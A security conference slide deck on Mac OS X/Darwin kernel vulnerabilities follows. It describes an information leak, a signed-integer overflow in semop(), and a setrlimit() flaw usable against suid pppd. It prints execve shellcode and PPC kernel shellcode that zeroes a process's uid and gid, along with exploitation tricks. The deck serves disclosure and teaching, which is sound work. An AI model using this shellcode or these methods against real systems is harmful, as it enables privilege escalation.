MacOS X Kernel Insecurity

Ilja van Sprundel
Christian Klein

Who we are

- Ilja van Sprundel
  - works for Suresec
  - breaks stuff for fun and profit
- Christian Klein
  - CS student in Bonn

Agenda

- What is MacOS X, darwin ans xnu
- About Kernel vulnerabilities
- Information leaks
- Buffer overflows
- Userland compromisation
- Facts about Darwin security

What is MacOS X

- a (not so) modern operating system
- a graphical user interface with frameworks
- lots of userland applications
- a kernel
- runs on PPC

```
$ uname a  Darwin OSXserver 7.0.0 Darwin Kernel Version
7.0.0: Wed Sep 24 15:48:39  PDT 2003; root:xnu/xnu
517.obj~1/RELEASE_PPC  Power Macintosh  powerpc
```

What is Darwin

- a part of MacOS X
- an operating system on its own
- UNIX based
- userland applications for console and a kernel
- runs on PPC and i386

What is xnu

- the kernel that Darwin and MacOS X are set on
- a mix of
  - FreeBSD (UNIX)
    - file systems, networking, ...
  - and 3.0 Mach (Microkernel)
    - memory managment

Why kernel vulnerabilities?

- they are fun to play with
- hard to strip down a kernel unlike userland applications

Information leaks

- a bug in the kernel allowing disclosure of kernel memory
- has the potential to contain sensitive information
- usually easely triggered and exploited

Information leaks

- a bug in TCP/IP stack
- some more (check the ancient AppleTalk code...)

```
struct ifreq ifr, *ifrp;
...
for (; space > sizeof (ifr) && ifp; ifp = ifp->if_link.tqe_next) {
        char workbuf[64];
        int ifnlen, addrs;

        ifnlen = snprintf(workbuf, sizeof(workbuf),
                        "%s%d", ifp->if_name, ifp->if_unit);
        if(ifnlen + 1 > sizeof ifr.ifr_name) {
                error = ENAMETOOLONG;
                break;
        } else {
                strcpy(ifr.ifr_name, workbuf);
        }
        ...
        if (sa->sa_len <= sizeof(*sa)) {
                ifr.ifr_addr = *sa;
                error = copyout((caddr_t)&ifr, (caddr_t)ifrp, sizeof (ifr));
                ifrp++;
        }
```

Buffer Overflows

- Known for a *very* long time
- Exist in kernel code aswell
  - exploitable
  - more serious attack vector

Stack based buffer overflows

(refreshing your memory)

- Data is written beyond the boundaries of a reserved part of the stack
- Goal is to overwrite sensitive data
- As it turns out a saved instruction pointer is usually located somewhere after this array
- If something goes wrong, the application WILL crash

Stack based buffer overflows

(refreshing your memory II)

- The saved instruction pointer points to the instruction to execute after the return
- We can write arbitrary addresses to it
- If we store our own instructions at a known location we can control the execution

Stack based buffer overflows
(refreshing your memory III)

- Instructions you want to get executed is refered to as 'shellcode'
- In userland shellcode will mostly spawn a shell (locally or over a network)
- Shellcode is nothing more then some machine code
- In a lot of cases there are restrictions (such as '\x00')

Shell code example

```
"\x53"                          // pushl   %ebx
"\x68\x6e\x2f \x73\x68"         // pushl   $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
"\x89\xe3"                      // movl    %esp, %ebx
"\x8d\x54\x24\x08"              // leal    8( %esp), %edx
"\x51"                          // pushl   %ecx
"\x53"                          // pushl   %ebx
"\x8d\x0c\x24"                  // leal    (%esp), %ecx
"\x31\xc0"                      // xorl    %eax, %eax
"\xb0\x0b"                      // movb    $0xb, %al
"\xcd\x80"                      // int     $0x80
```

Buffer overflows in the Darwin kernel

- there are a few (unfixed)
- a few differences when compared to exploiting buffer overflows in userland
- but the goal is the same, to get elevated privileges

Developing kernel shellcode

- unlike in userland shellcode we cannot just call execve()
- we can change the user id and group id of a process
  - each process has a process structure, with user id and group id
  - all our shellcode has to do, is to find this struct and then change the uid and gid

Developing kernel shellcode II

- finding the process structure of a process is easier than you would think
- this can be done with a sysctl() call before you exploit anything:

```
long get_addr(pid_t pid) {
        int  i, sz = sizeof(struct kinfo_proc), mib[4];
        struct kinfo_proc p;

        mib[0] = 1; mib[1] = 14;
        mib[2] = 1; mib[3] = pid;

        if((i = sysct l(&mib, 4, &p, &sz, 0, 0)) == -1) {
              perror("sysctl()");
              exit(0);
        }
       return(p.kp_eproc.e_paddr);
}
```

Developing kernel shellcode

- Adress of proc structure is known
- Find the right fields and set them to 0 (root)

```
struct proc {
    LIST_ENTRY(proc) p_list; /* list of all processes */

    /* substructures: */
    struct pcred *p_cred; /* Procress owner's identity */
    ...
}
struct pcred {
    struct lock__bsd__ pc_lock;
    struct ucred *pc_ucred; /* Current credentials */
    uid_t p_ruid;           /* Real user id */
    uid_t psvuid;           /* Saved effective user id */
    gid_t p_rgid;           /* Real group id */
    gid_t p_svgid;          /* Saved effective group id */
    int p_refcnt;           /* Numbers of references */
}
```

Developing kernel shellcode IV

Basic Darwin kernel shell code:

```
int kshellcode[] = {
    0x3ca0aabb,         // lis r5, 0xaabb
    0x60a5ccdd,         // ori r5, r5, 0xccdd
    0x80c5ffa8,         // lwz r6,
    88(r5) 0x80e60048, // lwz r7,
    72(r6) 0x39000000, // li r8,0
    0x9106004c,         // stw r8,
    76(r6) 0x91060050, // stw r8,
    80(r6) 0x91060054, // stw r8,
    84(r6) 0x91060058, // stw r8,
    88(r6) 0x91070004  // stw r8, 4(r7)
}
```

Returning from shell code

- in most userland applications there is usually no need to return.
- when just doing absolutly nothing in kernel space a panic WILL happen
- there are 2 solutions:
  - calculate where to return and restore all that we broke
  - call IOSleep() and schedule in a loop
- We chose the second one ;-)

An (real) example

```
struct semop_args {
        int     semid;
        struct  sembuf *sops;
        int     nsops;
};

int semop(p, uap, retval)
  struct proc *p;
  register struct semop_args *uap;
  register_t *retval;
{
   int semid = uap->semid;
   int nsops = uap->nsops;
   struct sembuf sops[MAX_SOPS];
      ...
   if (nsops > MAX_SOPS)
        UNLOCK_AND_RETURN(E2BIG);

   if ((eval = copyin(uap->sops, &sops, nsops * sizeof(sops[0]))) != 0) {
                UNLOCK_AND_RETURN(eval);
   }
        ...
}
```

An (real) example

- there is a length check done on nsops, BUT
- nsops is signed and there is no check if it's negative
- copyin() copies data from userland to kernel space and the size used will be interpreted as unsigned.
- when negative values are cast to unsigned they are **HUGE**
- hence a bufferoverflow can take place

copyin() problem and the solution

- Problem: we'd copy TOO MUCH and the stackspace would ran out
- copyin() does some tests on the userland address: one is to stop copying the moment data can no longer be read from it
- this can be used to our advantage:
- we'll copy the amount of data needed and then have an unreadable page right after it

Finding the shellcode

- Since we're in the kernel, this is a one-shot
- we need to know the EXACT address of the shellcode
- using the kernel nsops array for the shellcode might be too risky
- we CAN just use userland data (as long as it's valid)
- we can determine userland addresses with ease

the

Demonstration

broke

Kernel bugs allowing userland compromise

- Not all bugs in the kernel are exploited only in the kernel
- Some require userland interaction
- Examples: a few ptrace() exploits, FD 0,1,2 closing bugs, ...

Kernel bugs
setrlimit()

```
extern int maxfiles;
extern int maxfilesperproc;
typedef int64_t rlim_t;

struct rlimit {
    rlim_t  rlim_cur;       /* current (soft) limit */
    rlim_t  rlim_max;       /* maximum value for
rlim_cur */
};
```

setrlimit() II

```
int dosetrlimit(struct proc *p, u_int which, struct rlimit *limp) {
        register struct rlimit *alimp;
        ...
        alimp = &p->p_rlimit[which];
        if (limp->rlim_cur > alimp->rlim_max || limp->rlim_max > alimp->rlim_max)
                if (error = suser(p->p_ucred, &p->p_acflag))
                        return (error);
        ...
        switch (which) {
        ...
            case RLIMIT_NOFILE:
                /* Only root can set the maxfiles limits, as it is systemwide resource */
                if ( is_suser() ) {
                        if (limp->rlim_cur > maxfiles)
                                limp->rlim_cur = maxfiles;
                        if (limp->rlim_max > maxfiles)
                                limp->rlim_max = maxfiles;
                } else {
                        if (limp->rlim_cur > maxfilesperproc)
                                limp->rlim_cur = maxfilesperproc;
                        if (limp->rlim_max > maxfilesperproc)
                                limp->rlim_max = maxfilesperproc;
                }
                break;
                ...
```

Kernel bugs: setrlimit() III

- all values used are signed, negative rlimits can be used
- will pass all super user checks
- when comparisons are done in other pieces of code there is always an unsigned cast
- We can open a lot more files then initially intended (there is still a system limit that will be enforced !)
- a denial of service using dup2() is possible
- getdtablesize() will return a negative value

Kernel bugs: setrlimit() IV

- getdtablesize() returns the max value of file descriptors that a process can open
- some programs use this in a for() loop to close all open fds before spawning a new process.
- one of those is pppd which is suid root and opens a lot of interesting files.
- File descriptors and rlimits get inherited through execve().

```
int getdtablesize(p, uap, retval) {
        *retval = min((int)p->p_rlimit[RLIMIT_NOFILE].rlim_cur, maxfiles);
        return (0);
}
```

Demonstration

Facts about Darwin security

- Many bugs, that are *reported* and fixed in other BSDs, are still in MacOS X
- Apple fixes bugs silently
  - no information
  - not comitted to Darwin CVS

Thanks for listening

Updated slides at
http://c0re.23.nu/~chris/presentations/